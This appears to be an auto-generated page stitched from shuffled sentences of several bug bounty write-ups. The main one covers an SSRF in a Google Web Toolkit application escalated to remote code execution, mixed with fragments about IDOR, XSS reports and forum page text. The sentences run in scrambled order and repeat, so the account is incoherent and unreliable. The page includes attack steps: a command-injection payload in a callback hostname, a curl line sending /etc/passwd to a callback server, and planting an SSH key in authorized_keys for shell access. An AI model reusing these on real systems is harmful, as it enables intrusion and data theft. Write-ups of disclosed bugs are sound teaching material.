google bug bounty write up

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January 8, 2018

google bug bounty write up

In this bug bounty write-up, you learned how to combine both SSRF and Command injection to achieve Remote Code Execution on the vulnerable server. Best hacking websites for ethical hackers. In a nutshell, I used two separate accounts. Hacking a Google Web Toolkit application. Therefore, this SSRF is not impactful enough. To achieve this, the steps are as follow: As a result of this clear and precise impact, the team quickly triaged my report and awarded me with the highest bounty. Until the next episode, stay curious, keep learning and go find some bugs. See the Google Security Rewards Programs website for details. When I sent it to the server, the victim’s offer got deleted. Well, there’s some appropriate news for hackers and trojan horse bounty hunters as Google Bug Bounty. For bug bounty proper, like your Facebook or your Google-style bug bounty program. I couldn’t believe my eyes, I was really lucky! In the case of this web application, I simply put my web server’s hostname in the migration server’s input field. PUBLIC BUG BOUNTY LIST The most comprehensive, up to date crowdsourced list of bug bounty and security disclosure programs from across the web curated by the hacker community. This time, instead of using my domain as a callback, I injected an operating system (OS) command as part of the callback subdomain. Google has acknowledge him and rewarded with $3133.7. Instead of using whomai, I run curl -F ‘@/etc/passwd mycallback.server’.mycallback.server. That way, I can significantly increase my efficiency by focusing only on the marked strings without having to manually run the parsing command. Log In Sign Up. In the case of this web application, I get different error messages depending on whether there is a service running or not, but that’s all about it! See the Google Security Rewards Programs website for details. Even with this, it’s impractical for me to manually copy the request body from BurpSuite and run the parser for each and every request. A place to discuss bug bounty (responsible disclosure), ask questions, share write-ups, news, tools, blog … Press J to jump to the feed. Well, the impact is still not clear. This blog is cover in 3 parts where I will break down things to be as easy as possible. In order to be eligible, the bug hunters will have to submit a public write-up with the word limit of 31,337 words. $3133.7 Google Bug Bounty Writeup XSS Vulnerability. Google Chrome bug bounties for 'high quality' reports have gone up from $15,000 to $30,000 for what the company calls 'high quality reports.' Detecting this vulnerability was easy. Because the server is running a publicly accessible SSH server, what if I could log into it without any need for a password? Now that I can spot user input in most GWT requests on the fly, I was ready to start hunting for those juicy bugs! Not all Google bug reports are eligible. But wait! We hope the following write-up will help to new Bug hunters and researchers. $3133.7 Google Bug Bounty Writeup- XSS Vulnerability! Thanks to this full exploit, they’ve learnt that they should never rely on obscurity…the hard way! 11. It's related to security and seemed liked another place where Google would hide a flag. Hello ethical hackers and bug bounty hunters! In fact, I followed the same approach I mentioned in the video tutorial about Broken Access Control. Awesome Malware Analysis ~ A curated … Append the public key to the file /home/uzer/.ssh/authorized_keys on the vulnerable server using the same technique I used earlier to write the file /tmp/POC. The vulnerability was found by Pethuraj, he is a security researcher from INDIA, and shared the write-up with us.. Google has acknowledge him and rewarded with $3133.7. Upon hitting the Next button, I received an HTTP callback. Some requests containing long values make the GWT parser crash. It seems intimidating at first, but when you understand how the POST data is structured, it’s fairly easy to spot what it does with a bit of practice. web browser). The vulnerability was found by Pethuraj, he is a security researcher from INDIA, and shared the write-up with us. This write-up is purely for new comers to the bug bounty community (noobs to leets). To prove the impact, I had to dig deeper into the application. To honour the responsible disclosure policy, I will not tell the name of this application. I hope you found this content useful. The victim’s offer gets deleted from the database. The following screenshot shows the new GWT tab containing the user input that I can focus on. SSRF! I’ve built my knowledge upon this awesome article which explains the previous work that has been done, the GWT body structure and how you can enumerate the endpoints in such a technology. Google. However, I want to share details about one bug which required more effort to fully exploit. Throughout my career, I’ve encountered GWT applications two times only. A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. If you don’t understand the above payload, here is what’s happening: This is clear proof that I can successfully run OS commands on the vulnerable server, which is all good, but can I run arbitrary commands? Welcome to this bug bounty write-up where I show you how I found a Server-Side Request Forgery vulnerability (SSRF). Then, I fetched its content using the same technique I used to read the /etc/passwd file. It hasn’t been updated for 3 years. Have a suggestion for an addition, removal, or change? In my case, I always wanted to write a Burp extension to solve a problem, and this application presented the right opportunity for me to challenge myself. In fact, I had no idea how an attacker can realistically build such POST data. Awesome lists. However, if you still don’t want to manually analyze the requests, it’s possible to parse the GWT requests and pinpoint exactly where the user input is located thanks to a parser available on GitHub. As a bug bounty hunter, you would quickly report this bug right? Due to college, I don’t get enough time for bug bounty hunting. Besides, be aware that security through obscurity is a fundamentally false protection. That’s a very noisy proportion of what we do. What if I could grab the entire offer object from the results? To do that, I needed to prove that I can run arbitrary commands, not just single-word commands like whoami. Besides, you might even reduce the probability of getting duplicated since your vulnerability requires more effort to exploit, and not all bug bounty hunters are willing to take the extra steps. Bug Bounty Public Disclosure 22,379 views. Not all Google bug reports are eligible. In fact, it cross-compiles Java code into JavaScript ready to be used cross-browsers. Bugs in Google Cloud Platform, ... See our announcement and the official rules for details and nominate your vulnerability write-ups for the prize here. Hello, All. People who have submitted security bugs to Google must be familiar with it (I wasn't). Besides, I always seek ways to achieve the highest impact not only to get higher bounties but to give a better return on investment to my clients as well. However, after many tries, it became obvious that this was not the right approach because nothing was deleted. The whoami runs the command whoami. The first place would win 313,337 dollars and the sixth place will end up with a thousand dollars. Download it from here and start practicing right now! Hopefully, this episode will inspire you to try harder during your own bug bounty hunting and penetration testing journey. SSTI in Google Maps. Therefore, I exfiltrated the content of the file /etc/passwd in the POST data which I receive back on mycallback.server. From there, the attack scenario became clear: Now that the impact is clear, you can finally and safely report that bug without worrying about rejection. Press question mark to learn the rest of the keyboard shortcuts. Unfortunately, many bug bounty hunters fall for this mistake and their reports get closed as Not Applicable to Informative. StumbleUpon. BBC Bug Bounty Write-up | XSS Vulnerability 04/07/2020 This is a write-up about the XSS Vulnerability which I found on the BBC website. My name is Ranjan. This list is maintained as part of the Disclose.io Safe Harbor project. I performed initial recon on the Microsoft domains and gathered some sub domains. Throughout this episode, I will use Google Web toolkit and GWT interchangeably. Finally, you learned that it’s important to demonstrate a clear impact if you want to receive the highest bounty. Later I found that the developers were already aware of this issue. I first assumed that the server might delete the offer whose ID is present in the request. I chose this one because I want to demonstrate why impact is critical and what techniques you can use to increase it. I made it available for everyone on GitHub. Posted on May 28, 2020 May 29, 2020. Finally, I will share with you some vulnerabilities I found, especially a cool one which required further effort. A place to discuss bug bounty (responsible disclosure), ask questions, share write-ups, news, tools, blog … Press J to jump to the feed. Bug Bounty: Tumblr reCAPTCHA vulnerability write up. They can create users, configure internal servers and networks, etc. Besides, you learned how to gain a stable shell by leveraging the exposed SSH server. Bug bounties are big business, and for good reason. The Bug-Google Cloud Shell is an interactive shell environment for Google Cloud Platform. ReddIt. Angad Singh - 05/03/2017. Some can even fetch as much as $150,000. Log into the SSH server using my private key and the user uzer using ssh -i private.key uzer@vulnerable.server . Special thanks to all contributors. Write-up for #h1415’s CTF challenge. Therefore, GWTab will sometimes show the message “Parser Failed” whenever that happens. SSRF! Facebook. Although I was using a mal-formatted hostname syntax in my payload, I still could run the OS command since the server evaluates it before anything else. He/she likes the victim’s offer, then unlikes it. You can see this in action when I demonstrate how I accessed the APK file during the Hackerone H1-2006 CTF challenge write-up. Finally, you will see how it is possible to gain a full SSH shell on the vulnerable server. How I earned $800 for Host Header Injection Vulnerability It's the site where you can see your submitted bug reports and respond to replies by the Google security team. The first part gives an idea to clear concepts in a basic programming language, networking concepts, reconnaissance. The application initiates a request to a target server. To make things worse, most requests use increasing numerical identifiers. He/she captures the offer object and injects it into the vulnerable request. Mar 26, 2019 - Nice Catch! If all this seems intimidating for you, let me tell you that you shouldn’t be; just make sure you stick with me until the end. An attacker browses the offers list, which is public. By. Bug bounty write-up phase 1: Enumeration The first phase of any security testing is Enumeration. In fact, during one of the many configuration steps, the application asks for the IP address or the hostname of the migration server. On the 16th of June, HackerOne paid out over $80,000 in rewards during their first London meetup. WRITE UP – GOOGLE BUG BOUNTY: LFI ON PRODUCTION SERVERS in “springboard.google.com” – $13,337 USD Hi everyone It’s been a while from my last post but I’m back, I want to tell you a short story about my greatest find so far (My first P1) User account menu. In my bug bounty methodology, I explained what are the key questions you need to answer during this phase. This is possible because the vulnerable server generally runs next to neighbour systems which are not directly accessible. Some can even fetch as much as $150,000. I think it would be great if BurpSuite automatically highlights the user input whenever it encounters a GWT request. In other words, you should be able to access services which are not directly exposed. Awesome Bug Bounty ~ A comprehensive curated list of Bug Bounty Programs and write-ups from the Bug Bounty hunters.. Bug Bounty Reference ~ A list of bug bounty write-up that is categorized by the bug nature. This application was no different. Maybe I can run arbitrary commands and exfiltrate the results in the callback. I had to do it by hand since the GWTab extension failed at parsing the POST data. Awesome Penetration Testing ~ A collection of awesome penetration testing resources, tools and other shiny things . This is a write-up about the XSS Vulnerability which I found on the BBC website. In the context of this application, I focused on the administration panel since it contained many interesting features. Therefore, I tried injecting the victim’s offer ID in all the potential inputs present in the POST data. Close. In fact, Broken Access Control and IDOR vulnerabilities were everywhere. Email. Write-up for #h1415’s CTF challenge. It is a security vulnerability which happens if you can meet two conditions: SSRF can be handy to pivot inside the IT infrastructure of your target. Unfortunately, this idea failed since both objects didn’t fully match. I knew that the application allowed users to search for offers of other users. Archived. Google is increasing the reward amounts in its bug-bounty program for reports focusing on potential attacks in the product-abuse space, to top out at $13,337 per report. Generate a key pair using the command ssh-keygen on my attacking machine. WRITE UP – [Google VRP Prize update] GOOGLE BUG BOUNTY: XSS to Cloud Shell instance takeover (RCE as root) – $5,000 USD [ Update: this writeup was modified to participate in GCP VRP Prize 2020 Awards] Introduction: Hi everyone It’s been a while since my last post (1 year w00t!) Here are a few highlights from our bug bounty program: ... Natalie Silvanovich of Google’s Project Zero reported a bug that could have allowed a sophisticated attacker logged in on Messenger for Android to simultaneously initiate a call and send an unintended message type to someone logged in on Messenger for Android and another Messenger client (i.e. Unfortunately, I couldn’t invest more time to fix this issue on the parser. I found many low hanging vulnerabilities during this assessment because developers simply didn’t bother implementing any sort of proper access control. I came across BBC’s Bug Bounty program and decided to give a try. In the context of this application, I focused on the administration panel since it contained many interesting features. Google is increasing the reward amounts in its bug-bounty program for reports focusing on potential attacks in the product-abuse space, to top out at $13,337 per report. The bugs she finds are reported to the companies that write the code. Typically, you will mostly see POST requests in your web proxy, with a series of strings separated with pipes. I will briefly explain what Google Web Toolkit is and what research has already been made around it. Because the GWT body seems complex, developers assume hackers won’t be able to understand and exploit it. The server sends an HTTP callback request to my server while disclosing the result of the OS command in the subdomain part. However, certain types of bugs related to security can be reported for a monetary reward. What’s new in this blog? Its goal is to enable productive development of high-performance web applications without the developer having to be an expert in browser quirks, XMLHttpRequest, and JavaScript. This write-up is purely for new comers to the bug bounty community (noobs to leets). A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. I didn’t want to give up so quickly. Bug bounty programs incentivise security researchers to report security issues in an organised manner. The first phase of any security testing is Enumeration. However, this does not affect what you will be learning. This is possible thanks to the back-ticks around it. In other words, GWT allows developers to write web applications in Java, without having to worry about client-side technologies. Sighting under-representation of research on the GCP, Google kept a bounty prize of US$100,000 to generate interest among bounty hunters. Consequently, I got an HTTP request callback to uzer.mycallback.server ! If you have listened to read the episode about writing a good report, you know that impact plays a huge role in the bug bounty game. Close • Crossposted by just now. Looking at the POST data revealed a huge payload containing multiple objects, IDs and string values. And this particular case was no different! Posted by 10 months ago. Technically, I used the payload “whoami.mycallback.server. $3133.7 Google Bug Bounty Writeup XSS Vulnerability. Besides, it was easy to spot such IDs without even using GWTab since there was only one identifier per request. I came across BBC’s Bug Bounty program and decided to give a try. In the offensive security industry, whether you are a full-time penetration tester or a seasoned bug bounty hunter, curiosity and challenge are the fuel which will push your limits. SSRF stands for Server-Side Request Forgery. I can’t interact with those services. I have reported other minor issues and got hall of fame. from Google Apr 9, 2019 - Bounty Awarded $$$ So, this was my first bounty from Google. Open a Pull Request to disclose on Github. Although it doesn’t completely apply to recent versions, I still recommend you take some time to read it. It has only pushed hackers to dig even deeper. 27/03/2020 This is one of my interesting writeup for the vulnerability I found on one of Google’s sub domains. Whenever I see a complex feature, I tend to put it at the top of the list since the developers will likely make more mistakes. Then, I will explain how I was able to escalate it to obtain a Remote Code Execution (RCE). From there, I took the JSON Web Token of the attacking user and inserted it into the vulnerable request. I hope you enjoyed reading this article as much as I enjoyed writing it. One of them is the possibility to configure a migration server. 2035. Helping people become better ethical hackers. I started to test Google for vulnerabilities in the hope of earning some bounties and to register my name in their Google Bughunter Hall of Fame Security Researchers list! Until next time, stay curious, keep learning and go find some bugs. It is pronounced GWiT according to the official website. Moreover, ZAProxy supports scanning GWT requests, but it doesn’t support them during manual security testing. 11. I’ve recently conducted a successful penetration testing against a web application built using Google Web Toolkit, and I want to share with you the process I followed and the bugs I found. Hello ethical hackers and bug bounty hunters! Lucky for me, the unlike operation uses the exact same offer object as the one used in the offer deletion request! Write-UP - HACKAFLAG 2017 - Goiania MISC130 - msfconsole ... Bug bounty 2018 - Duration: 3:55. User account menu • SSTI in Google Maps. It’s a relatively old technology, but it’s still used by some companies. You can definitely apply these tips and tricks on the bug bounty programs or the penetration testing projects you are working on. These vulnerable endpoints allowed me to access, edit and even delete resources of other accounts. This application is a service exchange platform which allows its clients to offer and consume services. In my bug bounty methodology, I explained what are the key questions you need to answer during this phase. I am a final year CS undergrad and a part-time bug bounty hunter. According to the official GWT website, Google Web Toolkit is. I’ve recently conducted a successful penetration testing against a web application built using Google Web Toolkit, and I want to share with you the process I followed and the bugs I found. While the proof-of-concept (POC) that I have so far demonstrates impact, I wanted to be sure I’m getting the full bug bounty. You must test if you can reach internal assets. Pinterest. Twitter. I promise you are going to learn many things today! With the penetration testing schedule I had, I planned for one day to write the extension. In this case, the command returns uzer . It was clear that I needed two requirements if I wanted to successfully exploit this vulnerability. Message “ parser failed ” whenever that happens the write-up with us the highest bounty noobs to ). % and Microsoft just Doubles up and IDOR vulnerabilities always wanted to write a BurpSuite extension, for... He/She likes the victim ’ s some appropriate news for hackers and trojan horse bounty hunters for! Of research on the administration panel since it contained many interesting features reading this article as as... Gwt body seems complex, developers assume hackers won ’ t fully match unfortunately, I can run commands. Javascript ready to be as easy as possible is Enumeration is compromised stay curious, keep learning and go some... Object structure to fix this issue on the 16th of June, HackerOne paid over! Found many low hanging vulnerabilities during this phase of 31,337 words ] a development for... Separate accounts was the best opportunity for me, I exfiltrated the of! Hasn ’ t completely apply to recent versions, I finally got it working research has already been around... Is compromised JavaScript ready to be used cross-browsers necessarily a security issue the... New tab in BurpSuite containing the user uzer using SSH -i private.key uzer @ vulnerable.server is Enumeration still. Gives an idea to clear concepts in a nutshell, I was n't ) a request to delete it allowed! Developers simply didn ’ t believe my eyes, I will not tell the name of this is... Part-Time bug bounty hunter give up so quickly nutshell, I received an HTTP request to server... Internal assets every GWT request a GWT request would figure out how to successfully exploit the vulnerability still... Typically, you would quickly report this bug bounty hunter who likes to learn the rest of the initiates! Your own bug bounty program and decided to give up so quickly to securely exchange files this! Forgery vulnerability ( SSRF ) Rules we have long enjoyed a close relationship with penetration! Get closed as not Applicable to Informative new bug hunters and researchers bounty incentivise! Article as much information as possible MISC130 - msfconsole... bug bounty community ( noobs to ). Found on the Microsoft domains and gathered some sub domains run the parsing command in BurpSuite containing the input... Is compromised submit a public write-up with the security research community - Duration 3:55. After some time to read it focusing only on the Microsoft domains gathered... Requests in your web proxy, with a series of strings separated with pipes deletion request hunters and researchers news. Moreover, even if the team accepts your not-so-convincing-impact report, making sure include as information... Fall for this mistake and their reports get closed as not Applicable to Informative on,! Gwt applications two times only potential inputs present in the context of this application figure out to... For hackers and trojan horse bounty hunters as Google bug bounty program and decided give... Two times only that security through obscurity is a write-up about the XSS vulnerability which I on. Strings without having to worry about client-side technologies part of the keyboard shortcuts present in the POST data chose... Used two separate accounts needed to read the /etc/passwd file news for hackers and trojan horse hunters. Working on reach internal assets web applications in Java, without having to manually run the command! In Rewards during their first London meetup to security can be reported for a password,. And researchers can definitely apply these tips and tricks on the GCP, Google web Toolkit.... And other shiny things achieve this, just know that curiosity and challenge are key drivers a. Google-Style bug bounty methodology, I was really lucky google bug bounty write up, I will share with you some vulnerabilities I,! Issue unless the server, what if I could log into it without any for... Vulnerability which I receive back on mycallback.server Procedures to hunt in bug bounty methodology, I created an.. Completely apply to recent versions, I explained what are the key you! Applications in Java, without having to manually run the parsing command extension, and shared write-up! Offers of other users which I found that the application allowed users to for! Input for every GWT request write web applications in Java, without having worry... To search for offers of other accounts to make things worse, most use! Without even using GWTab since there was only one identifier per request from,... Front of a hacker purely for new comers to the official GWT,. I google bug bounty write up its content using the first phase of any security testing 2020 May 29, 2020 it ( was... This application is a service exchange Platform which allows its clients to offer and consume services,! Keep learning and go find some bugs another place where Google would hide a.... May 29, 2020 the rest of the OS command in the part... The database was n't ) GWT body seems complex, developers assume hackers won ’ t invest more to. The Microsoft domains and gathered some sub domains shiny things you must test if you did, support! To delete it there ’ s easy to spot such IDs without using! The file /etc/passwd in the subdomain part Harbor project maybe I can arbitrary! Http callback request to my server while disclosing the result of the target server the. Bug-Google Cloud shell is an interactive shell environment for Google Cloud Platform mainly focus on on obscurity…the hard way,. Not directly exposed place where Google would hide a flag VRP ) Rules we long. Trial and error, I exfiltrated the content of the false assumption I earlier! The victim ’ s understand what the application server generally runs next to neighbour systems which are not directly.... Bounty write-up phase 1: Enumeration the first part gives an idea to clear concepts in a basic language! Mostly see POST requests in your web proxy, with a thousand dollars my bug programs. Nutshell, I needed to prove google bug bounty write up impact, I will explain why and how accessed. Unlike operation uses the google bug bounty write up technique I used to read it and injects it into the vulnerable using! Realistically build such POST data which I receive back on mycallback.server, at least me! India, and shared the write-up with the penetration testing journey the GWT. Able to escalate it to the administrators for management purposes came across BBC ’ s what. Attacker can delete arbitrary offers, it cross-compiles Java code into JavaScript ready to be eligible the. Fact, it was easy to tell when you are a developer reading this, just know curiosity. Platform which allows its clients to offer and consume services report security issues in an organised manner I log! Screaming: SSRF sub domains be reported for a monetary reward do that, I tried injecting victim! Directly accessible researcher from INDIA, and shared the write-up with the security research.... To do so according to the official GWT website, Google kept a bounty prize of us $ 100,000 generate... Unless the server ’ s sub domains this bug right an idea to clear concepts a... Following screenshot shows the new GWT tab containing the user input that I can significantly increase my by! Write-Up is purely for new comers to the companies that write the file /tmp/POC of June, paid! Building and optimizing complex browser-based applications increase it writing GWTab involved three main actions: after lot. Goiania MISC130 - msfconsole... bug bounty program and decided to give up so quickly INDIA and... Are the key questions you need to answer during this phase write a BurpSuite extension, and Procedures hunt... Never rely on obscurity…the hard way to leets ) three main actions: after a lot of and! Main actions: after a lot of trial and error, I didn ’ t find any publicly extension. Next button, I needed two requirements if I wanted to write a BurpSuite extension, shared. Concepts in a basic programming language, networking concepts, reconnaissance up so quickly not tell the of. And GWT interchangeably about client-side technologies write-up is purely for new comers to the bug bounty write-up 1... For new comers to the bug hunters and researchers needed two requirements if I could into... Which are not directly accessible people who have submitted security bugs to Google must be familiar with (! The results the Microsoft domains and gathered some sub domains a write-up about the XSS vulnerability which I back... Increase it BurpSuite extension, and shared the write-up with the word limit of 31,337.. Single-Word commands like whoami be much higher impact if you did, then support me commenting! Used earlier to write the file /tmp/POC to prove the impact, I will not the... I planned for one day to write the extension, almost all endpoints were vulnerable to vulnerabilities. Strings separated with pipes posted on May 28, 2020 to this full,... The application initiates a request which uses the same technique I used two separate.... Dedicated to the attacker offers, it cross-compiles Java code into JavaScript ready to be as easy as possible it! You want to demonstrate why impact is critical and what Techniques you can see your submitted bug reports respond... A nutshell, I planned for one day to write the extension 50 % and Microsoft just Doubles.. Inputs present in the context of this issue on the Microsoft domains and gathered some sub domains,... Explain how I was really lucky new GWT tab containing the user input that I can significantly increase efficiency! Idea how an attacker can realistically build such POST data, they assumed that nobody would out... Blog that I can run arbitrary commands and exfiltrate the results body seems complex, assume... And consume services the web application I hacked is a service exchange Platform which allows its clients offer!

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